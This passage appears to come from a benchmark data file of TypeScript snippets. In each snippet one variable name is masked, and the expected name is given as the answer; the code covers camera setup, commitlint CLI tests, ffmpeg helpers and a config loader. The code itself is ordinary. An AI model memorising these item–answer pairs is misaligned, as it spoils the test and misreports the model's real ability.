              type: AudioStreamingCodecType.AAC_ELD,
              samplerate: AudioStreamingSamplerate.KHZ_16,
            },
          ],
        },
      },
    };

    try {
      // Create and configure camera controller
      const cameraController = new this.platform.api.hap.CameraController(options);
       [MASK] .controller = cameraController;
    
      accessory.configureController( [MASK] .controller);
      
      this.platform.log.debug(`Successfully configured camera: ${accessory.context.device.Name}`);
    } catch (error) {
      this.platform.log.error(`Error configuring camera ${accessory.context.device.Name}:`, error);
      throw error;
    }
  }

  /**
   * Gets the accessory instance
   * @returns The platform accessory
   */
  getAccessory() {
    return this.accessory;
  }
}
",streamingDelegate
681,"import { StepItem } from ""../components/Steps/Steps"";

const gcd = (bucketX: number, bucketY: number): number => {
  if (bucketY === 0) return bucketX;
  return gcd(bucketY, bucketX % bucketY);
};
export const WaterJugAlgorithm = (
  bucketX: number,
  bucketY: number,
  amountZ: number,
  labelFrom: string,
   [MASK] : string
): StepItem[] => {
  let bucketXCurrent = 0;
  let bucketYCurrent = 0;
  const steps = [];
  if (amountZ > bucketX && amountZ > bucketY) {
    return [
      {
        x: 0,
        y: 0,
        explanation:
          ""The amount z quantity should not exceed the capacity of the buckets"",
      },
    ];
  }
  // if z is not multiple of gcd x and y then doesn't have a solution
  if (amountZ % gcd(bucketX, bucketY) !== 0) {
    return [{ x: 0, y: 0, explanation: ""no solution"" }];
  }
  // main loop continues until bucketX or y reach the target
  while (bucketXCurrent !== amountZ && bucketYCurrent !== amountZ) {
    if (bucketXCurrent === 0) {
      bucketXCurrent = bucketX;
      steps.push({
        [labelFrom]: bucketXCurrent,
        [ [MASK] ]: bucketYCurrent,
        explanation: `Fill bucket ${labelFrom}`,
      });
    } else {
      const pourLiquid = Math.min(bucketXCurrent, bucketY - bucketYCurrent);
      bucketXCurrent -= pourLiquid;
      bucketYCurrent += pourLiquid;
      steps.push({
        [labelFrom]: bucketXCurrent,
        [ [MASK] ]: bucketYCurrent,
        explanation: `Transfer bucket ${labelFrom} to bucket ${ [MASK] }`,
      });
    }

    if (bucketXCurrent === amountZ || bucketYCurrent === amountZ) {
      steps.push({ [labelFrom]: 0, [ [MASK] ]: 0, explanation: ""Solved"" });
      break;
    }
    if (bucketY === bucketYCurrent) {
      bucketYCurrent = 0;
      steps.push({
        [labelFrom]: bucketXCurrent,
        [ [MASK] ]: bucketYCurrent,
        explanation: `Empty bucket ${ [MASK] }`,
      });
    }
  }
  return steps as any;
};
",labelTo
682,"import { ParameterizedContext } from 'koa';
import { Schedule } from '../models/Schedule';
import {
    createSchedule,
    getSchedule,
    updateSchedule,
} from '../services/memory.db';

export const get = async (ctx: ParameterizedContext) => {
    const id: string = ctx.params.id;
    const schedule = getSchedule(id);
    if (schedule === undefined) {
        ctx.status = 404;
        ctx.message = ""Schedule ID doesn't exist"";
        return;
    }

    ctx.body = schedule;
};

export const update = async (ctx: ParameterizedContext) => {
    const  [MASK] : Partial<Schedule> = JSON.parse(ctx.request.body);

    try {
        const updatedSchedule = updateSchedule(ctx.params.id,  [MASK] );
        ctx.body = updatedSchedule;
    } catch (err) {
        ctx.status = 404;
        return;
    }
};

export const create = async (ctx: ParameterizedContext) => {
    const body = JSON.parse(ctx.request.body);
    const schedule: Schedule = {
        title: body.title,
        blockDuration: body.blockDuration,
        blockCount: body.blockCount,
        entries: {},
        startTime: body.startTime,
        levels: body.levels,
    };

    const id = createSchedule(schedule);

    ctx.body = schedule;
    ctx.set({
        Location: `${ctx.request.href}/${id}`,
    });
};
",scheduleChanges
683,"import {Component, computed, signal} from '@angular/core';
import { finalize, firstValueFrom} from 'rxjs';
import {ScreenService} from ""../screen.service"";
import {AbstractControl, FormArray, FormBuilder, FormControl, FormGroup} from ""@angular/forms"";

@Component({
    selector: 'zh-client-home',
    templateUrl: './client-home.component.html',
    styleUrl: './client-home.component.scss',
    standalone: false
})
export class ClientHomeComponent {
  readonly sendDisabled = signal(false);
  imageForm: FormGroup;
  canDelete = signal<boolean>(false);
  get urls() {
    return this.imageForm.get('urls') as FormArray;
  }
  constructor(
    private readonly formBuilder: FormBuilder,
    private readonly screenService: ScreenService) {
    this.imageForm = formBuilder.group({
      urls: this.formBuilder.array([
        this.controlFactory()
      ])
    });
  }

  async sendClick(event: MouseEvent) {
    const urls = this.urls.controls
      .map((control: AbstractControl<any, any>) => control.value)
      .filter(url => !!(url?.trim()));
    if(!this.imageForm.valid || urls.length === 0){
      return;
    }
    this.sendDisabled.set(true);
    await firstValueFrom(this.screenService
      .SetImageData({slideShow: urls})
      .pipe(
        finalize(()=>this.sendDisabled.set(false))
      ));
    while (this.urls.length>1){
      this.urls.removeAt(0);
    }
    this.urls.at(0).setValue('');
    this.urls.at(0).markAsUntouched();
  }

  castFormControl(imageControl: AbstractControl) {
    return imageControl as FormControl;
  }

  deleteClick( [MASK] :number) {
    this.canDelete.set(this.urls.length > 1);
    if(this.urls.length <=1){
      return;
    }
    this.urls.removeAt( [MASK] );
  }

  controlFactory(){
    return this.formBuilder.control('');
  }
  addClick($event: MouseEvent) {
    this.urls.push(this.controlFactory());
    this.canDelete.set(this.urls.length > 1);
  }
}
",controlIndex
684,"import * as fs from ""fs"";
import * as showdown from ""showdown"";

const readFileContents = async (filename: string): Promise<string> => {
  try {
    const data = await fs.promises.readFile(filename, ""utf8"")
    console.log(`Current directory: ${process.cwd()}`)
    return data
  } catch (err) {
    console.error(err)
    return """"
  }
}

const createCustomHtmlFile = (title: string,  [MASK] : string): void => {
    const html = `
      <!DOCTYPE html>
      <html>
        <head>
          <meta charset=""UTF-8"">
          <meta name=""viewport"" content=""width=device-width, initial-scale=1"">
          <link rel=""stylesheet"" type=""text/css"" href=""github-markdown.css""/>
          <style>
            .markdown-body {
              box-sizing: border-box;
              min-width: 200px;
              max-width: 980px;
              margin: 0 auto;
              padding: 45px;
            }

            @media (max-width: 767px) {
              .markdown-body {
                padding: 15px;
              }
            }
          </style>
          <title>${title}</title>
          <!-- Google tag (gtag.js) -->
          <script async src=""https://www.googletagmanager.com/gtag/js?id=G-56LBR2J0H7""></script>
          <script>
            window.dataLayer = window.dataLayer || [];
            function gtag(){dataLayer.push(arguments);}
            gtag('js', new Date());

            gtag('config', 'G-56LBR2J0H7');
          </script>
          </head>
          <body class=""markdown-body"">
            ${ [MASK] }
            <script>
              const themeCookie = document.cookie
                .split('; ')
                .find(row => row.startsWith('_theme='))
                ?.split('=')[1];

                if (themeCookie === undefined) {
                  console.log(""Theme color not detected."")
                }

                if (themeCookie === 'dark') {
                  document.body.setAttribute('data-theme', 'dark');
                } else {
                  document.body.setAttribute('data-theme', 'light');
                }
            </script>
        </body>
      </html>
    `;
    
    fs.promises.mkdir(""./dist"", { recursive: true }).then(() => {
      fs.writeFile(""./dist/index.html"", html, (err) => {
        if (err) {
          console.error(err)
          return
        }
        console.log(""File created successfully"")
      })
    }).catch((err) => console.error(err))
  }

const convertFile = async (title: string, filename: string): Promise<void> => {
    const data = await readFileContents(filename)
    const converter = new showdown.Converter()
    converter.setFlavor('github')
    const initialHtml = converter.makeHtml(data)
    createCustomHtmlFile(title, initialHtml)
}

convertFile(""버스하냥이란?"", ""README.md"")
",htmlContent
685,"import * as $ from 'jquery';

const edge = 'Microsoft Edge';
const ie10 = 'Internet Explorer 10';
const ie11 = 'Internet Explorer 11';
const opera = 'Opera';
const firefox = 'Mozilla Firefox';
const chrome = 'Google Chrome';
const safari = 'Safari';

/* Browser - Function ======================================================================================================
*  You can manage browser
*  
*/
export class BrowserClass {
    public Activate(){
        var  [MASK]  = this.getClassName();    
        if ( [MASK]  !== '') $('html').addClass(this.getClassName());
    }

    private getClassName() {
        var browser = this.getBrowser();

        if (browser === edge) {
          return 'edge';
        } else if (browser === ie11) {
          return 'ie11';
        } else if (browser === ie10) {
          return 'ie10';
        } else if (browser === opera) {
          return 'opera';
        } else if (browser === chrome) {
          return 'chrome';
        } else if (browser === firefox) {
          return 'firefox';
        } else if (browser === safari) {
          return 'safari';
        } else {
          return '';
        }
    }

    private getBrowser() {
        var userAgent = navigator.userAgent.toLowerCase();
        if (/edge/i.test(userAgent)) {
            return edge;
        } else if (/rv:11/i.test(userAgent)) {
            return ie11;
        } else if (/msie 10/i.test(userAgent)) {
            return ie10;
        } else if (/opr/i.test(userAgent)) {
            return opera;
        } else if (/chrome/i.test(userAgent)) {
            return chrome;
        } else if (/firefox/i.test(userAgent)) {
            return firefox;
        } else if (!!navigator.userAgent.match(/Version\/[\d\.]+.*Safari/)) {
            return safari;
        }
        return undefined;
    }
}",className
686,"import {fix, git} from '@commitlint/test';
import execa from 'execa';
import fs from 'fs-extra';
import merge from 'lodash/merge';
import path from 'path';

const bin = require.resolve('../cli.js');

interface TestOptions {
	cwd: string;
	env?: Record<string, string>;
}

const cli = (args: string[], options: TestOptions) => {
	return (input = '') => {
		return execa(bin, args, {
			cwd: options.cwd,
			env: options.env,
			input: input,
			reject: false,
		});
	};
};

const gitBootstrap = (fixture: string) => git.bootstrap(fixture, __dirname);
const fixBootstrap = (fixture: string) => fix.bootstrap(fixture, __dirname);

test('should throw when called without [input]', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli([], {cwd})();
	expect(actual.exitCode).toBe(1);
});

test('should reprint input from stdin', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli([], {cwd})('foo: bar');
	expect(actual.stdout).toContain('foo: bar');
});

test('should produce success output with --verbose flag', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(['--verbose'], {cwd})('type: bar');
	expect(actual.stdout).toContain('0 problems, 0 warnings');
	expect(actual.stderr).toEqual('');
});

test('should produce no output with --quiet flag', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(['--quiet'], {cwd})('foo: bar');
	expect(actual.stdout).toEqual('');
	expect(actual.stderr).toEqual('');
});

test('should produce no output with -q flag', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(['-q'], {cwd})('foo: bar');
	expect(actual.stdout).toEqual('');
	expect(actual.stderr).toEqual('');
});

test('should produce help for empty config', async () => {
	const cwd = await gitBootstrap('fixtures/empty');
	const actual = await cli([], {cwd})('foo: bar');
	expect(actual.stdout).toContain('Please add rules');
	expect(actual.exitCode).toBe(1);
});

test('should produce help for problems', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli([], {cwd})('foo: bar');
	expect(actual.stdout).toContain(
		'Get help: https://github.com/conventional-changelog/commitlint/#what-is-commitlint'
	);
	expect(actual.exitCode).toBe(1);
});

test('should produce help for problems with correct helpurl', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(
		['-H https://github.com/conventional-changelog/commitlint/#testhelpurl'],
		{cwd}
	)('foo: bar');
	expect(actual.stdout).toContain(
		'Get help: https://github.com/conventional-changelog/commitlint/#testhelpurl'
	);
	expect(actual.exitCode).toBe(1);
});

test('should fail for input from stdin without rules', async () => {
	const cwd = await gitBootstrap('fixtures/empty');
	const actual = await cli([], {cwd})('foo: bar');
	expect(actual.exitCode).toBe(1);
});

test('should succeed for input from stdin with rules', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli([], {cwd})('type: bar');
	expect(actual.exitCode).toBe(0);
});

test('should fail for input from stdin with rule from rc', async () => {
	const cwd = await gitBootstrap('fixtures/simple');
	const actual = await cli([], {cwd})('foo: bar');
	expect(actual.stdout).toContain('type must not be one of [foo]');
	expect(actual.exitCode).toBe(1);
});

test('should work with --config option', async () => {
	const file = 'config/commitlint.config.js';
	const cwd = await gitBootstrap('fixtures/specify-config-file');
	const actual = await cli(['--config', file], {cwd})('foo: bar');
	expect(actual.stdout).toContain('type must not be one of [foo]');
	expect(actual.exitCode).toBe(1);
});

test('should fail for input from stdin with rule from js', async () => {
	const cwd = await gitBootstrap('fixtures/extends-root');
	const actual = await cli(['--extends', './extended'], {cwd})('foo: bar');
	expect(actual.stdout).toContain('type must not be one of [foo]');
	expect(actual.exitCode).toBe(1);
});

test('should output help URL defined in config file', async () => {
	const cwd = await gitBootstrap('fixtures/help-url');
	const actual = await cli([], {cwd})('foo: bar');
	expect(actual.stdout).toContain('Get help: https://www.example.com/foo');
	expect(actual.exitCode).toBe(1);
});

test('should produce no error output with --quiet flag', async () => {
	const cwd = await gitBootstrap('fixtures/simple');
	const actual = await cli(['--quiet'], {cwd})('foo: bar');
	expect(actual.stdout).toEqual('');
	expect(actual.stderr).toEqual('');
	expect(actual.exitCode).toBe(1);
});

test('should produce no error output with -q flag', async () => {
	const cwd = await gitBootstrap('fixtures/simple');
	const actual = await cli(['-q'], {cwd})('foo: bar');
	expect(actual.stdout).toEqual('');
	expect(actual.stderr).toEqual('');
	expect(actual.exitCode).toBe(1);
});

test('should work with husky commitmsg hook and git commit', async () => {
	const cwd = await gitBootstrap('fixtures/husky/integration');
	await writePkg({husky: {hooks: {'commit-msg': `'${bin}' -e`}}}, {cwd});

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	const commit = await execa(
		'git',
		['commit', '-m', '""test: this should work""'],
		{cwd}
	);

	expect(commit).toBeTruthy();
});

test('should work with husky commitmsg hook in sub packages', async () => {
	const upper = await gitBootstrap('fixtures/husky');
	const cwd = path.join(upper, 'integration');
	await writePkg({husky: {hooks: {'commit-msg': `'${bin}' -e`}}}, {cwd: upper});

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	const commit = await execa(
		'git',
		['commit', '-m', '""test: this should work""'],
		{cwd}
	);
	expect(commit).toBeTruthy();
});

test('should work with husky via commitlint -e $GIT_PARAMS', async () => {
	const cwd = await gitBootstrap('fixtures/husky/integration');
	await writePkg(
		{husky: {hooks: {'commit-msg': `'${bin}' -e $GIT_PARAMS`}}},
		{cwd}
	);

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	const commit = await execa(
		'git',
		['commit', '-m', '""test: this should work""'],
		{cwd}
	);
	expect(commit).toBeTruthy();
});

test('should work with husky via commitlint -e %GIT_PARAMS%', async () => {
	const cwd = await gitBootstrap('fixtures/husky/integration');
	await writePkg(
		{husky: {hooks: {'commit-msg': `'${bin}' -e %GIT_PARAMS%`}}},
		{cwd}
	);

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	const commit = await execa(
		'git',
		['commit', '-m', '""test: this should work""'],
		{cwd}
	);
	expect(commit).toBeTruthy();
});

test('should work with husky via commitlint -e $HUSKY_GIT_PARAMS', async () => {
	const cwd = await gitBootstrap('fixtures/husky/integration');
	await writePkg(
		{husky: {hooks: {'commit-msg': `'${bin}' -e $HUSKY_GIT_PARAMS`}}},
		{cwd}
	);

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	const commit = await execa(
		'git',
		['commit', '-m', '""test: this should work""'],
		{cwd}
	);
	expect(commit).toBeTruthy();
});

test('should work with husky via commitlint -e %HUSKY_GIT_PARAMS%', async () => {
	const cwd = await gitBootstrap('fixtures/husky/integration');
	await writePkg(
		{husky: {hooks: {'commit-msg': `'${bin}' -e %HUSKY_GIT_PARAMS%`}}},
		{cwd}
	);

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	const commit = await execa(
		'git',
		['commit', '-m', '""test: this should work""'],
		{cwd}
	);
	expect(commit).toBeTruthy();
});

test('should allow reading of environment variables for edit file, succeeding if valid', async () => {
	const cwd = await gitBootstrap('fixtures/simple');
	await fs.writeFile(path.join(cwd, 'commit-msg-file'), 'foo');
	const actual = await cli(['--env', 'variable'], {
		cwd,
		env: {variable: 'commit-msg-file'},
	})();
	expect(actual.exitCode).toBe(0);
});

test('should allow reading of environment variables for edit file, failing if invalid', async () => {
	const cwd = await gitBootstrap('fixtures/simple');
	await fs.writeFile(
		path.join(cwd, 'commit-msg-file'),
		'foo: bar\n\nFoo bar bizz buzz.\n\nCloses #123.'
	);
	const actual = await cli(['--env', 'variable'], {
		cwd,
		env: {variable: 'commit-msg-file'},
	})();
	expect(actual.exitCode).toBe(1);
});

test('should pick up parser preset and fail accordingly', async () => {
	const cwd = await gitBootstrap('fixtures/parser-preset');
	const actual = await cli(['--parser-preset', './parser-preset'], {cwd})(
		'type(scope): subject'
	);
	expect(actual.exitCode).toBe(1);
	expect(actual.stdout).toContain('may not be empty');
});

test('should pick up parser preset and succeed accordingly', async () => {
	const cwd = await gitBootstrap('fixtures/parser-preset');
	const actual = await cli(['--parser-preset', './parser-preset'], {cwd})(
		'----type(scope): subject'
	);
	expect(actual.exitCode).toBe(0);
});

test('should pick up config from outside git repo and fail accordingly', async () => {
	const outer = await fixBootstrap('fixtures/outer-scope');
	const cwd = await git.init(path.join(outer, 'inner-scope'));

	const actual = await cli([], {cwd})('inner: bar');
	expect(actual.exitCode).toBe(1);
});

test('should pick up config from outside git repo and succeed accordingly', async () => {
	const outer = await fixBootstrap('fixtures/outer-scope');
	const cwd = await git.init(path.join(outer, 'inner-scope'));

	const actual = await cli([], {cwd})('outer: bar');
	expect(actual.exitCode).toBe(0);
});

test('should pick up config from inside git repo with precedence and succeed accordingly', async () => {
	const outer = await fixBootstrap('fixtures/inner-scope');
	const cwd = await git.init(path.join(outer, 'inner-scope'));

	const actual = await cli([], {cwd})('inner: bar');
	expect(actual.exitCode).toBe(0);
});

test('should pick up config from inside git repo with precedence and fail accordingly', async () => {
	const outer = await fixBootstrap('fixtures/inner-scope');
	const cwd = await git.init(path.join(outer, 'inner-scope'));

	const actual = await cli([], {cwd})('outer: bar');
	expect(actual.exitCode).toBe(1);
});

test('should handle --amend with signoff', async () => {
	const cwd = await gitBootstrap('fixtures/signoff');
	await writePkg({husky: {hooks: {'commit-msg': `'${bin}' -e`}}}, {cwd});

	// await execa('npm', ['install'], {cwd}); // npm install is failing on windows machines
	await execa('git', ['add', 'package.json'], {cwd});
	await execa(
		'git',
		['commit', '-m', '""test: this should work""', '--signoff'],
		{cwd}
	);
	const commit = await execa('git', ['commit', '--amend', '--no-edit'], {cwd});

	expect(commit).toBeTruthy();
}, 10000);

test('should fail with an empty message and a commentChar is set', async () => {
	const cwd = await gitBootstrap('fixtures/comment-char');
	await execa('git', ['config', '--local', 'core.commentChar', '$'], {cwd});
	await fs.writeFile(path.join(cwd, '.git', 'COMMIT_EDITMSG'), '#1234');

	const actual = await cli(['--edit', '.git/COMMIT_EDITMSG'], {cwd})();
	expect(actual.stdout).toContain('[subject-empty]');
	expect(actual.exitCode).toBe(1);
});

test('should handle linting with issue prefixes', async () => {
	const cwd = await gitBootstrap('fixtures/issue-prefixes');
	const actual = await cli([], {cwd})('foobar REF-1');
	expect(actual.exitCode).toBe(0);
}, 10000);

test('should print full commit message when input from stdin fails', async () => {
	const cwd = await gitBootstrap('fixtures/simple');
	const input = 'foo: bar\n\nFoo bar bizz buzz.\n\nCloses #123.';
	// output text in plain text so we can compare it
	const actual = await cli(['--color=false'], {cwd})(input);

	expect(actual.stdout).toContain(input);
	expect(actual.exitCode).toBe(1);
});

test('should not print commit message fully or partially when input succeeds', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const message = 'type: bar\n\nFoo bar bizz buzz.\n\nCloses #123.';
	// output text in plain text so we can compare it
	const actual = await cli(['--color=false'], {cwd})(message);

	expect(actual.stdout).not.toContain(message);
	expect(actual.stdout).not.toContain(message.split('\n')[0]);
	expect(actual.exitCode).toBe(0);
});

test('should fail for invalid formatters from configuration', async () => {
	const cwd = await gitBootstrap('fixtures/custom-formatter');
	const actual = await cli([], {cwd})('foo: bar');

	expect(actual.stderr).toContain(
		'Using format custom-formatter, but cannot find the module'
	);
	expect(actual.stdout).toEqual('');
	expect(actual.exitCode).toBe(1);
});

test('should skip linting if message matches ignores config', async () => {
	const cwd = await gitBootstrap('fixtures/ignores');
	const actual = await cli([], {cwd})('WIP');
	expect(actual.exitCode).toBe(0);
});

test('should not skip linting if message does not match ignores config', async () => {
	const cwd = await gitBootstrap('fixtures/ignores');
	const actual = await cli([], {cwd})('foo');
	expect(actual.exitCode).toBe(1);
});

test('should not skip linting if defaultIgnores is false', async () => {
	const cwd = await gitBootstrap('fixtures/default-ignores-false');
	const actual = await cli([], {cwd})('fixup! foo: bar');
	expect(actual.exitCode).toBe(1);
});

test('should skip linting if defaultIgnores is true', async () => {
	const cwd = await gitBootstrap('fixtures/default-ignores-true');
	const actual = await cli([], {cwd})('fixup! foo: bar');
	expect(actual.exitCode).toBe(0);
});

test('should skip linting if defaultIgnores is unset', async () => {
	const cwd = await gitBootstrap('fixtures/default-ignores-unset');
	const actual = await cli([], {cwd})('fixup! foo: bar');
	expect(actual.exitCode).toBe(0);
});

test('should fail for invalid formatters from flags', async () => {
	const cwd = await gitBootstrap('fixtures/custom-formatter');
	const actual = await cli(['--format', 'through-flag'], {cwd})('foo: bar');

	expect(actual.stderr).toContain(
		'Using format through-flag, but cannot find the module'
	);
	expect(actual.stdout).toEqual('');
	expect(actual.exitCode).toBe(1);
});

test('should work with absolute formatter path', async () => {
	const formatterPath = path.resolve(
		__dirname,
		'../fixtures/custom-formatter/formatters/custom.js'
	);
	const cwd = await gitBootstrap('fixtures/custom-formatter');
	const actual = await cli(['--format', formatterPath], {cwd})(
		'test: this should work'
	);

	expect(actual.stdout).toContain('custom-formatter-ok');
	expect(actual.exitCode).toBe(0);
});

test('should work with relative formatter path', async () => {
	const cwd = path.resolve(
		await gitBootstrap('fixtures/custom-formatter'),
		'./formatters'
	);
	const actual = await cli(['--format', './custom.js'], {cwd})(
		'test: this should work'
	);

	expect(actual.stdout).toContain('custom-formatter-ok');
	expect(actual.exitCode).toBe(0);
});

test('should print help', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(['--help'], {cwd})();
	const version = require('../package.json').version;
	const stdout = actual.stdout.replace(`@${version}`, '@dev');
	expect(stdout).toMatchInlineSnapshot(`
		""@commitlint/cli@dev - Lint your commit messages

		[input] reads from stdin if --edit, --env, --from and --to are omitted

		Options:
		  -c, --color          toggle colored output           [boolean] [default: true]
		  -g, --config         path to the config file                          [string]
		      --print-config   print resolved config          [boolean] [default: false]
		  -d, --cwd            directory to execute in
		                                         [string] [default: (Working Directory)]
		  -e, --edit           read last commit message from the specified file or
		                       fallbacks to ./.git/COMMIT_EDITMSG               [string]
		  -E, --env            check message in the file at path given by environment
		                       variable value                                   [string]
		  -x, --extends        array of shareable configurations to extend       [array]
		  -H, --help-url       help url in error message                        [string]
		  -f, --from           lower end of the commit range to lint; applies if
		                       edit=false                                       [string]
		  -o, --format         output format of the results                     [string]
		  -p, --parser-preset  configuration preset to use for
		                       conventional-commits-parser                      [string]
		  -q, --quiet          toggle console output          [boolean] [default: false]
		  -t, --to             upper end of the commit range to lint; applies if
		                       edit=false                                       [string]
		  -V, --verbose        enable verbose output for reports without problems
		                                                                       [boolean]
		  -v, --version        display version information                     [boolean]
		  -h, --help           Show help                                       [boolean]""
	`);
});

test('should print version', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(['--version'], {cwd})();
	expect(actual.stdout).toMatch('@commitlint/cli@');
});

test('should print config', async () => {
	const cwd = await gitBootstrap('fixtures/default');
	const actual = await cli(['--print-config', '--no-color'], {cwd})();
	const stdout = actual.stdout
		.replace(/^{[^\n]/g, '{\n  ')
		.replace(/[^\n]}$/g, '\n}')
		.replace(/(helpUrl:)\n[ ]+/, '$1 ');
	expect(stdout).toMatchInlineSnapshot(`
		""{
		  extends: [],
		  formatter: '@commitlint/format',
		  parserPreset: undefined,
		  ignores: undefined,
		  defaultIgnores: undefined,
		  plugins: {},
		  rules: { 'type-enum': [ 2, 'never', [ 'foo' ] ] },
		  helpUrl: 'https://github.com/conventional-changelog/commitlint/#what-is-commitlint',
		  prompt: {}
		}""
	`);
});

async function writePkg(payload: unknown, options: TestOptions) {
	const  [MASK]  = path.join(options.cwd, 'package.json');
	const pkg = JSON.parse(await fs.readFile( [MASK] , 'utf-8'));
	const result = merge(pkg, payload);
	await fs.writeFile( [MASK] , JSON.stringify(result, null, '  '));
}
",pkgPath
687,"export interface Time {
    now(): number
    wait(n: number, f: () => void, repeat?: boolean): () => void
}

export const time: Time = {
    now: () => Date.now() / 1000,
    wait(s, f, repeat = false) {
        const handler = repeat ? setInterval : setTimeout
        const clearer = repeat ? clearInterval : clearTimeout
        const ret = handler(f, s * 1000)
        return () => clearer(ret)
    }
}

export type ScheduleEntry = [number, () => void]
export interface TimeManager {
    progress(s: number): Promise<void>
    progressTo(s: number): Promise<void>
    getNext(): ScheduleEntry | undefined
    getQueue(): ScheduleEntry[]
    runAll(limit?: number): Promise<void>
    flushMtq(): Promise<void>
}

export function mockTime(): [Time, TimeManager] {
    var now = 0
    const queue: ScheduleEntry[] = []
    const mockTime: Time = {
        now: () => now,
        wait: (s, f, repeat = false) => {
            const at = s + mockTime.now()
            var clear = () => {
                queue.splice(queue.indexOf(entry), 1)
            }
            const entry: ScheduleEntry = [
                at,
                repeat ? () => {
                    clear = mockTime.wait(s, f, repeat)
                    f()
                } : f
            ]
            const  [MASK]  = queue.findIndex(([t]) => at < t)
            queue.splice(0 <  [MASK]  ?  [MASK]  : queue.length, 0, entry)
            return () => clear()
        }
    }
    const manager: TimeManager = {
        async progressTo(t) {
            if (t < now) throw new Error(""I, too, sometimes wish we could turn back time"")
            while (queue[0] && queue[0][0] <= t) {
                const [time, handler] = queue.shift()!
                now = time
                handler()
                await manager.flushMtq()
            }
            now = t
            await manager.flushMtq()
        },
        getNext: () => queue[0],
        getQueue: () => queue,
        flushMtq: () => new Promise(r => setTimeout(r, 0)),
        progress: s => manager.progressTo(now + s),
        async runAll(limit = 10_000) {
            for (let i = 0; i < limit; i++) {
                const task = manager.getNext()
                if (!task) return
                await manager.progressTo(task[0])
            }
            throw new Error(`Ran ${limit} tasks and still have more. This indicates an infinite loop.`)
        }
    }
    return [mockTime, manager]
}",onePast
688,"import ffmpeg from 'fluent-ffmpeg';
import path from 'node:path';
import { Shot } from '../shot/index.js';

async function extractFrames(
  videoPath: string,
  outputPath: string,
): Promise<void> {
  await new Promise<void>((resolve, reject) => {
    ffmpeg(videoPath)
      .addOutputOption('-r 1')
      .save(path.join(outputPath, '%01d.jpg'))
      .once('end', () => {
        resolve();
      })
      .once('error', (err: unknown) => {
        reject(err);
      });
  });
}

function exportShots(
  shots: Shot[],
  videoPath: string,
  outputPath: string,
): Promise<void> {
  const videoFileName = path.basename(videoPath);
  const  [MASK]  = path.parse(videoFileName).name;

  const ffmpegCommand = ffmpeg(videoPath);

  for (const indexShot in shots) {
    ffmpegCommand
      .addOutput(path.join(outputPath, `shotbit-${ [MASK] }-${indexShot}.mp4`))
      .addOutputOption(`-ss ${shots[indexShot].startFrame.number}.0`)
      .addOutputOption('-c:v libx264')
      .addOutputOption('-crf 18')
      .addOutputOption(`-to ${shots[indexShot].endFrame.number - 3}.0`)
      .addOutputOption(`-y`)
      .addOutputOption('-an');
  }

  return new Promise<void>((resolve, reject) => {
    ffmpegCommand.once('end', () => {
      resolve();
    });
    ffmpegCommand.once('error', (err) => {
      reject(err);
    });

    ffmpegCommand.run();
  });
}

function isVideo(filePath: string): Promise<boolean> {
  return new Promise<boolean>((resolve) => {
    ffmpeg(filePath).ffprobe((err, data) => {
      if (err) {
        return resolve(false);
      }

      return resolve(
        data.format.format_name !== undefined &&
          !data.format.format_name.includes('pipe') &&
          data.streams.some((stream) => stream.codec_type === 'video'),
      );
    });
  });
}

export default {
  extractFrames,
  isVideo,
  exportShots,
};
",videoName
689,"import type { Config as IPFSConfig } from ""ipfs-core-types/src/config""
import type { Endpoints } from ""webnative-0.30/setup/internal""

import path from ""path""
import fs from ""fs""
import * as yaml from ""js-yaml""
import { CID } from ""multiformats""

import { FissionConfig, isFissionConfig, isFissionStore } from ""../fission/config.js""

export interface CLIContext {
    fissionDir: string
    fissionConfig: FissionConfig
    fissionConfigRootProof: CID | null
    ipfsConfig: IPFSConfig
    ipfsAPIAddress: string
    ipfsBinPath: string
    endpoints: Endpoints
    wnfsReadKey: string
    writeKey: Uint8Array
}

export function createContext(fissionDir: string, endpointsDefault: Endpoints): CLIContext {
    if (!fs.existsSync(fissionDir)) {
        throw new Error(""Couldn't open fission's config directory. Please run the fission CLI and link your account first."")
    }

    const ipfsBinPath = path.join(fissionDir, ""bin/fission-ipfs"")
    const  [MASK]  = path.join(fissionDir, ""ipfs/config"")
    const fissionConfigFilePath = path.join(fissionDir, ""config.yaml"")
    const fissionStorePath = path.join(fissionDir, ""wnfs/store.json"")

    if (!fs.existsSync(ipfsBinPath)) {
        throw new Error(`Couldn't find an ipfs binary at ${ipfsBinPath}. Please run the fission CLI first, it will download ipfs for you.`)
    }
    if (!fs.existsSync( [MASK] )) {
        throw new Error(`Couldn't find an ipfs config at ${ [MASK] }. Please run the fission CLI first, it will generate an ipfs config for you.`)
    }
    if (!fs.existsSync(fissionConfigFilePath)) {
        throw new Error(`Missing fission config file at ${fissionConfigFilePath}. Please run the fission CLI to generate one.`)
    }
    if (!fs.existsSync(fissionStorePath)) {
        throw new Error(`Missing fission filesystem keys at ${fissionStorePath}. Please link your browser account using the fission CLI.`)
    }

    const ipfsConfig: IPFSConfig = JSON.parse(fs.readFileSync( [MASK] , { encoding: ""utf8"" }))
    const fissionConfig = yaml.load(fs.readFileSync(fissionConfigFilePath, { encoding: ""utf8"" }), { filename: fissionConfigFilePath })
    const fissionStore = JSON.parse(fs.readFileSync(fissionStorePath, { encoding: ""utf8"" }))

    if (!isFissionConfig(fissionConfig)) {
        console.log(fissionConfig)
